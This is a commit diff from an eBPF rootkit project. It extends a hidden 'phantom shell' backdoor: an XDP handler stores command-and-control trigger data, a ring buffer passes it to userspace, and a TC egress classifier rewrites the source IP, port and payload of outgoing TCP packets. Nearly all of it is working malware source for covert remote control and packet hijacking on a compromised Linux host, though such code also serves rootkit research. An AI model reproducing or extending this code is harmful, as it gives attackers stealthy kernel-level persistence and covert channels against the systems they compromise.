Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready

src/common/c&c.h

@@ -28,7 +28,7 @@
 #define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
 #define CC_PROT_COMMAND_PHANTOM_SHELL 3
 
-#define CC_PROT_PHANTOM_COMMAND_LIST_HOOKS 0
+#define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
 
 //C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
 struct trigger_32_t {

src/common/map_common.h

@@ -1,6 +1,8 @@
 #ifndef __MAP_COMMON_H
 #define __MAP_COMMON_H
 
+#include "struct_common.h"
+
 // Ring buffer for kernel->user communication
 #define RB_EVENT_MAX_MESSAGE_SIZE 512
 typedef enum {
@@ -8,13 +10,15 @@ typedef enum {
     DEBUG,
     EXIT,
     ERROR,
-    COMMAND
+    COMMAND,
+    PSH_UPDATE
 } event_type_t;
 
 struct rb_event {
 	int pid;
     char message[RB_EVENT_MAX_MESSAGE_SIZE];
     int code;
+    struct backdoor_phantom_shell_data bps_data;
     event_type_t event_type;
 };
 

src/common/struct_common.h

@@ -0,0 +1,13 @@
+#ifndef __H_STRUCT_COMMON
+#define __H_STRUCT_COMMON
+
+
+struct backdoor_phantom_shell_data{
+	int active;
+	unsigned int d_ip;
+	unsigned short d_port;
+	char payload[64];
+};
+
+
+#endif

src/ebpf/include/bpf/defs.h

@@ -47,11 +47,7 @@ struct backdoor_packet_log_data_16{
 };
 
 //Map value, contains data of phantom shell, if active
-struct backdoor_phantom_shell_data{
-	int active;
-	__u32 d_ip;
-	__u16 d_port;
-};
+//In struct_common.h, it is used from userspace and kernel many times, so moved there
 
 
 struct fs_priv_open{ //Map

src/ebpf/include/bpf/tc.c

@@ -17,6 +17,7 @@
 
 #define __H_TCKIT
 #include "defs.h"
+#include "../../../common/struct_common.h"
 #include "../../../common/constants.h"
 
 SEC("classifier/egress")
@@ -45,7 +46,7 @@ int classifier_egress(struct __sk_buff *skb){
         return TC_ACT_OK;
     }
 	if(ip->protocol != IPPROTO_TCP){
-		bpf_printk("TCP\n");
+		//bpf_printk("Not TCP\n");
 		return TC_ACT_OK;
 	}
 
@@ -67,9 +68,10 @@ int classifier_egress(struct __sk_buff *skb){
 	bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
 
 	__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
-    /*bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
-	char* payload = (void *)(tcp + tcp->doff*4);
-	if ((void*)payload + payload_size > data_end){
+    bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
+	//char* payload = (void *)(tcp + tcp->doff*4);
+	char* payload = data_end - payload_size;
+	/*if ((void*)payload + payload_size > data_end){
 		bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
         return TC_ACT_OK;
     }*/
@@ -86,10 +88,7 @@ int classifier_egress(struct __sk_buff *skb){
     struct backdoor_phantom_shell_data ps_new_data = {0};
 	if(ps_data == (void*)0){
 		//Phantom shell not active
-		bpf_printk("Phantom shell NOT active anytime\n");
-		ps_new_data.active = 1;
-		ps_new_data.d_ip = 1;
-		ps_new_data.d_port = 1;
+		bpf_printk("Phantom shell NOT active yet\n");
 		int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
 		if(err<0){
 			bpf_printk("Fail to update map\n");
@@ -97,28 +96,24 @@ int classifier_egress(struct __sk_buff *skb){
 		return TC_ACT_OK;
 	}
 	if(ps_data->active == 0){
-		bpf_printk("Phantom shell NOT active now\n");
-		ps_new_data.active = 1;
-		ps_new_data.d_ip = 1;
-		ps_new_data.d_port = 1;
-		int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
-		if(err<0){
-			bpf_printk("Fail to update map\n");
-		}
+		bpf_printk("Phantom shell NOT active right now\n");
 		return TC_ACT_OK;
 	}
-	ps_new_data.active = 1;
-	ps_new_data.d_ip = 1;
-	ps_new_data.d_port = 1;
+	//We will complete this request, so we get the backdoor in inactive state
+	ps_new_data.active = 0;
+	ps_new_data.d_ip = ps_data->d_ip;
+	ps_new_data.d_port = ps_data->d_port;
+	__builtin_memcpy(ps_new_data.payload, ps_data->payload, 64);
+	//ps_new_data.payload = ps_data->payload;
 	int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
 	if(err<0){
 		bpf_printk("Fail to update map\n");
 	}
-	bpf_printk("Phantom shell active now, active is %i\n", ps_data->active);
+	bpf_printk("Phantom shell active now, A:%i IP:%i P:%i\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
 	__u32 new_ip = ps_data->d_ip;
 	__u16 new_port = ps_data->d_port;
-	__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
-	__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
+	__u32 offset_ip = offsetof(struct iphdr, saddr)+ sizeof(struct ethhdr);
+	__u16 offset_port = offsetof(struct tcphdr, source)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
 	bpf_printk("offset ip: %u\n", offset_ip);
 	int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
 	if (ret < 0) {
@@ -132,6 +127,46 @@ int classifier_egress(struct __sk_buff *skb){
 		return TC_ACT_OK;
 	}
 
+	//We want to substitute the payload too.
+	bpf_printk("Payload: %s\n", payload);
+	if(payload_size>=64){
+		return TC_ACT_OK;
+	}
+	ret = bpf_skb_change_tail(skb, 64-payload_size, 0);
+	if (ret < 0) {
+		bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
+		return TC_ACT_OK;
+	}
+
+	//After changing the packet bounds, all the boundaries must be check again
+	eth = data;
+	if ((void *)eth + sizeof(struct ethhdr) > data_end){
+        bpf_printk("ETH\n");
+		return TC_ACT_OK;
+    }
+	
+	ip = (struct iphdr*)(data + sizeof(struct ethhdr));
+	if ((void *)ip + sizeof(struct iphdr) > data_end){
+		bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
+        return TC_ACT_OK;
+    }
+	tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
+	if ((void *)tcp + sizeof(struct tcphdr) > data_end){
+		bpf_printk("TCP CHECK\n");
+        return TC_ACT_OK;
+	}
+	payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
+	payload = data_end - payload_size;
+	if(payload<(char*)data || payload_size>=sizeof(char)*64){
+		return TC_ACT_OK;
+	}
+
+	ret = bpf_skb_store_bytes(skb, payload-(char*)data, ps_data->payload, (sizeof(char)*64)-payload_size, BPF_F_RECOMPUTE_CSUM);
+	if (ret < 0) {
+		bpf_printk("Failed to overwrite destination port: %d\n", ret);
+		return TC_ACT_OK;
+	}
+
 	return TC_ACT_OK;
 	
 }
@@ -198,13 +233,13 @@ int classifier_ingress(struct __sk_buff *skb){
 	
 	//We redirect whatever packet this is to the rootkit
 	//The TCP retransmissions will be in charge of resending it correctly later
-	__u64 key = 1;
+	/*__u64 key = 1;
 	struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
     struct backdoor_phantom_shell_data ps_new_data = {0};
 	if(ps_data == (void*)0){
 		//Phantom shell not active
 		bpf_printk("Phantom shell NOT active anytime\n");
-		ps_new_data.active = 1;
+		ps_new_data.active = 4;
 		ps_new_data.d_ip = 1;
 		ps_new_data.d_port = 1;
 		int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -215,7 +250,7 @@ int classifier_ingress(struct __sk_buff *skb){
 	}
 	if(ps_data->active == 0){
 		bpf_printk("Phantom shell NOT active now\n");
-		ps_new_data.active = 1;
+		ps_new_data.active = 5;
 		ps_new_data.d_ip = 1;
 		ps_new_data.d_port = 1;
 		int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -224,7 +259,7 @@ int classifier_ingress(struct __sk_buff *skb){
 		}
 		return TC_ACT_OK;
 	}
-	ps_new_data.active = 1;
+	ps_new_data.active = 6;
 	ps_new_data.d_ip = 1;
 	ps_new_data.d_port = 1;
 	int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -248,7 +283,7 @@ int classifier_ingress(struct __sk_buff *skb){
 	if (ret < 0) {
 		bpf_printk("Failed to overwrite destination port: %d\n", ret);
 		return TC_ACT_OK;
-	}
+	}*/
 
 	return TC_ACT_OK;
 	

src/ebpf/include/data/ring_buffer.h

@@ -63,6 +63,26 @@ static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer
     return 0;
 }
 
+/**
+ * @brief Sends an event indicating a received command in the backdoor
+ * 
+ * @return 0 if ok, -1 if error
+ */
+static __always_inline int ring_buffer_send_request_update_phantom_shell(struct ring_buffer *rb, int pid, int code, struct backdoor_phantom_shell_data data){
+    struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
+    if(!event){
+        return -1;
+    }
+
+    event->code = code;
+    event->event_type = PSH_UPDATE;
+    event->pid = pid;
+    event->bps_data = data;
+
+	bpf_ringbuf_submit(event, 0);
+    return 0;
+}
+    
 
 
 

src/ebpf/include/xdp/backdoor.h

@@ -37,8 +37,8 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
             ps_new_data.active = 1;
             ps_new_data.d_ip  = ip;
             ps_new_data.d_port = port;    
-            
-            bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
+            __builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
+            ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
             break;
             
         default:

src/user/kit.c

@@ -16,6 +16,7 @@
 #include "../common/constants.h"
 #include "../common/map_common.h"
 #include "../common/c&c.h"
+#include "../common/struct_common.h"
 #include "include/utils/files/path.h"
 #include "include/utils/strings/regex.h"
 #include "include/utils/structures/fdlist.h"
@@ -28,6 +29,8 @@
 		goto cleanup\
 	}
 
+static int FD_TC_MAP;
+
 static struct env {
 	bool verbose;
 } env;
@@ -132,6 +135,22 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
 			default:
 				printf("Command received unknown: %d\n", e->code);
 		}
+	}else if(e->event_type == PSH_UPDATE){
+		printf("Requested to update the phantom shell\n");
+		int key = 1;
+		struct backdoor_phantom_shell_data data;
+		int err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
+		if(err<0) {
+			printf("Failed to read the shared map\n");
+			return -1;
+		}
+		printf("Pre value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
+		data.active = e->bps_data.active;
+		data.d_ip = e->bps_data.d_ip;
+		data.d_port = e->bps_data.d_port;
+		memcpy(data.payload, e->bps_data.payload, 64);
+		printf("Post value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
+		bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
 	}else{
 		printf("%s COMMAND  pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
 		return -1;
@@ -182,12 +201,6 @@ int check_map_fd_info(int map_fd, struct bpf_map_info *info, struct bpf_map_info
 	return 0;
 }
 
-struct backdoor_phantom_shell_data{
-	int active;
-	__u32 d_ip;
-	__u16 d_port;
-};
-
 int main(int argc, char**argv){
     struct ring_buffer *rb = NULL;
     struct kit_bpf *skel;
@@ -267,17 +280,17 @@ int main(int argc, char**argv){
 		goto cleanup;
 	}
 
-	int tc_efd = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
-	printf("TC MAP ID: %i\n", tc_efd);
+	FD_TC_MAP = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
+	printf("TC MAP ID: %i\n", FD_TC_MAP);
 	map_expect.key_size    = sizeof(__u64);
 	map_expect.value_size  = sizeof(struct backdoor_phantom_shell_data);
 	map_expect.max_entries = 1;
-	err = check_map_fd_info(tc_efd, &info, &map_expect);
+	err = check_map_fd_info(FD_TC_MAP, &info, &map_expect);
 	if (err) {
 		fprintf(stderr, "ERR: map via FD not compatible\n");
 		return err;
 	}
-	printf("\nCollecting stats from BPF map\n");
+	printf("Collected stats from BPF map:\n");
 	printf(" - BPF map (bpf_map_type:%d) id:%d name:%s"
 			" key_size:%d value_size:%d max_entries:%d\n",
 			info.type, info.id, info.name,
@@ -285,11 +298,12 @@ int main(int argc, char**argv){
 			);
 	int key = 1;
 	struct backdoor_phantom_shell_data data;
-	err = bpf_map_lookup_elem(tc_efd, &key, &data);
+	err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
 	if(err<0) {
 		printf("Failed to lookup element\n");
 	}
-	printf("%i, %i, %i\n", data.active, data.d_ip, data.d_port);
+	printf("Value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
+	//bpf_map_update_elem(tc_efd, &key, &data, 0);
 
 	/*bpf_obj_get(NULL);
 	char* DIRECTORY_PIN = "/sys/fs/bpf/mymaps";